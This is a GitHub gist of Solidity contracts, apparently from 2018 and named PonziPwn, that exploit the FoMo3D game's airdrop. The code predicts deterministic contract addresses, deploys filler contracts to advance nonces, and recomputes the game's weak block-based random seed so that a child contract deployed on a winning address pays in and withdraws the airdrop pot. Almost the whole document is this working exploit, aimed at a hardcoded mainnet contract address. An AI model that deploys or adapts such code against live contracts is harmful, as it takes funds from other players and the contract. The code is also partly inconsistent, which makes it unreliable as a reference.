Skip to content

Instantly share code, notes, and snippets.

@jin10086
Created August 9, 2018 07:15
Show Gist options
  • Save jin10086/d8062292bdb7cc784f7f65ee4e67a30c to your computer and use it in GitHub Desktop.
Save jin10086/d8062292bdb7cc784f7f65ee4e67a30c to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=true&gist=
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
interface SUNContractInterface {
function withdraw() external;
function newContract() external;
}
/*
* Contract addresses are deterministic.
* We find out how many deployments it'll take to get a winning contract address
* then deploy blank contracts until we get to the second last number of deployments to generate a successful address.
*/
//contract which will win the airdrop
contract AirDropWinner {
//point to Fomo3d Contract
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xDd9fd6b6F8f7ea932997992bbE67EabB3e316f3C);
constructor() public {
if(!address(fomo3d).call.value(0.1 ether)()) {
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
}
contract sunContract{
address private admin;
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor() public payable{
admin = msg.sender;
}
function newContract(uint256 nonce){
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), nonce+1)));
address(_newSender).call.value(0.1 ether)();
new AirDropWinner();
}
}
contract PonziPwn {
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xDd9fd6b6F8f7ea932997992bbE67EabB3e316f3C);
address private admin;
uint256 private blankContractGasLimit = 20000;
uint256 private pwnContractGasLimit = 250000;
mapping(address => uint) public contracts;
mapping(uint256 => address) public nums_contracts;
uint256 public nonce = 1;
event C(address contract_address);
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor() public payable{
admin = msg.sender;
}
function new1(uint256 len) public onlyAdmin {
uint256 end = len+nonce;
while (nonce < end){
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), nonce)));
new sunContract();
contracts[_newSender] = 0x1;
nums_contracts[nonce] = _newSender;
nonce += 1;
emit C(_newSender);
}
}
function checkPwnData() private payable returns(uint256,uint256,address) {
//The address that a contract deployed by this contract will have
uint256 _tracker = fomo3d.airDropTracker_();
for (uint256 i = 1;i<nonce;i++) {
uint256 _seed;
address c = nums_contracts[i];
uint256 c_nonce = contracts[c];
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, c, c_nonce+1)));
_seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
(block.number)
)));
if((_seed - ((_seed / 1000) * 1000)) < _tracker) {
SUNContractInterface sun = SUNContractInterface(c);
sun.newContract(c_nonce);
}
}}
//allows withdrawal of funds after selfdestructing of a child contract which return funds to this contract
function withdraw() public onlyAdmin() {
admin.transfer(address(this).balance);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment